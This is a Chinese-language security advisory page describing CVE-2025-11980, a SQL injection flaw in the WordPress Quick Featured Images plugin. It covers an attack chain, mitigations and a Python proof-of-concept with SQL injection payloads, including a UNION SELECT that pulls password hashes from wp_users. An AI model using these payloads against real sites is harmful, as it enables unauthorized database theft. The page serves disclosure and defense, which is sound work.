IPBUF安全漏洞报告
English
CVE-2025-11980 CVSS 4.9 中危

CVE-2025-11980 WordPress Quick Featured Images插件SQL注入漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-11980
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress Quick Featured Images插件

相关标签

SQL注入WordPress插件漏洞CVE-2025-11980Quick Featured Images认证用户攻击数据库信息泄露权限提升Web安全

漏洞概述

Quick Featured Images是WordPress平台上一款流行的图片管理插件,用于帮助用户快速管理和设置特色图片。该插件在13.7.3及以下所有版本中存在严重的SQL注入漏洞。漏洞位于admin/class-Quick_Featured_Images_Tools.php文件中的delete_orphaned函数。由于该函数对用户提供的参数缺乏足够的转义处理,且现有SQL查询没有使用参数化查询进行充分准备,攻击者可以利用此漏洞在原有SQL查询后追加恶意SQL语句,从而实现对数据库敏感信息的提取。

技术细节

该SQL注入漏洞的具体位置在delete_orphaned函数中,攻击者通过构造特殊的自定义字段值来实现注入攻击。漏洞产生的根本原因有两点:1) 对用户输入参数未进行充分的转义处理;2) SQL查询语句缺少参数化查询的准备阶段。攻击者需要具备编辑级别(Editor)或更高权限,并且需要诱导作者级别用户将恶意内容添加到自定义字段值中。成功利用此漏洞后,攻击者可以在数据库中执行任意SELECT查询,提取包括用户密码哈希、配置信息、帖子内容等敏感数据。CVSS评分4.9主要因为该漏洞需要高权限认证才能利用,且不影响数据完整性和可用性。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点编辑级别或更高权限的账户
STEP 2
步骤2
攻击者选择一篇已发布的文章,在自定义字段中添加恶意SQL注入载荷
STEP 3
步骤3
攻击者诱导作者级别用户访问Quick Featured Images插件的工具页面
STEP 4
步骤4
插件执行delete_orphaned函数时,恶意自定义字段值被拼接到SQL查询中
STEP 5
步骤5
攻击者通过UNION注入或其他技术从数据库中提取敏感信息,如用户密码哈希

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re from urllib.parse import quote # CVE-2025-11980 SQL Injection PoC for WordPress Quick Featured Images <= 13.7.3 # Target: WordPress site with Quick Featured Images plugin installed class CVE_2025_11980_POC: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() def authenticate(self): """Authenticate with WordPress using Editor or higher privileges""" login_url = f"{self.target_url}/wp-login.php" data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In' } response = self.session.post(login_url, data=data) return 'wordpress_logged_in' in str(self.session.cookies) def inject_malicious_custom_field(self, post_id, malicious_value): """Inject malicious SQL payload via custom field""" # Add malicious custom field value to trigger SQL injection nonce_url = f"{self.target_url}/wp-admin/post.php?post={post_id}&action=edit" response = self.session.get(nonce_url) # Extract nonce and add custom field add_meta_url = f"{self.target_url}/wp-admin/admin-ajax.php" data = { 'action': 'add-meta', 'metakeyinput': 'qfim_settings', 'metavalue': malicious_value, 'post_id': post_id } return self.session.post(add_meta_url, data=data) def trigger_sqli(self): """Trigger the SQL injection via delete_orphaned function""" # Access the plugin's tools page and trigger delete orphaned images tools_url = f"{self.target_url}/wp-admin/admin.php?page=quick-featured-images-pro" # The vulnerable parameter is passed through custom fields # Payload to extract database user: ' OR (SELECT SLEEP(5))-- return self.session.get(tools_url) def extract_data(self, payload): """Extract sensitive data using SQL injection""" # Example payload to extract wp_users table data sqli_payload = f"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_pass,12,13,14,15,16,17,18,19,20 FROM wp_users WHERE '1'='1" return sqli_payload # Usage example # poc = CVE_2025_11980_POC('https://target-site.com', 'editor_user', 'password') # if poc.authenticate(): # print('[+] Authentication successful') # poc.inject_malicious_custom_field(1, "' OR 1=1--") # poc.trigger_sqli() print('CVE-2025-11980 Quick Featured Images SQL Injection PoC')

影响范围

Quick Featured Images插件 <= 13.7.3(所有版本)

防御指南

临时缓解措施
在官方安全更新发布之前,可采取以下临时缓解措施:1) 限制非管理员用户创建和编辑自定义字段的权限;2) 禁用或限制作者级别用户使用Quick Featured Images插件的高级功能;3) 部署Web应用防火墙规则检测SQL注入特征;4) 加强对WordPress用户权限的管理,确保只有绝对必要的用户拥有编辑权限;5) 定期审计管理员和编辑账户,及时删除不必要的账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表